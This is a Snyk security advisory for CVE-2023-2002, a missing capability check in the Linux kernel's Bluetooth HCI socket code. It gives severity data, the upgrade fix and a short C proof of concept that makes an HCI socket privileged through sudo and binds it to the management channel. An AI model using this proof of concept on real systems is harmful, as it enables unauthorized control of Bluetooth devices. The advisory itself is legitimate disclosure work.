Execution with Unnecessary Privileges Affecting torvalds/linux package, versions [4.9,6.4-rc1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.07% (31st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-TORVALDSLINUX-5507220
  • published9 May 2023
  • disclosed16 Apr 2023
  • creditRuihan Li

Introduced: 16 Apr 2023

CVE-2023-2002  (opens in a new tab)
CWE-250  (opens in a new tab)

How to fix?

Upgrade torvalds/linux to version 6.4-rc1 or higher.

Overview

Affected versions of this package are vulnerable to Execution with Unnecessary Privileges due to a missing capability check in the net/bluetooth/hci_sock.c file. This flaw allows an attacker to unauthorized execution of management commands, compromising the confidentiality, integrity, and availability of Bluetooth communication.

PoC

    int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);

    /* By executing sudo with an HCI socket as stderr, an ioctl
     * system call makes the HCI socket privileged (i.e. with
     * the HCI_SOCK_TRUSTED flag set).
     */
    int pid = fork();
    if (pid == 0) {
        dup2(fd, 2);
        close(fd);
        execlp("sudo", "sudo");
    }

    waitpid(pid, NULL, 0);

    struct sockaddr_hci haddr;
    haddr.hci_family = AF_BLUETOOTH;
    haddr.hci_dev = HCI_DEV_NONE;
    haddr.hci_channel = HCI_CHANNEL_CONTROL;

    /* The socket has not been bound. It can be bound to the
     * management channel now. After that, the HCI_SOCK_TRUSTED
     * flag is still present, as it will indeed never be cleared.
     */
    bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));

CVSS Scores

version 3.1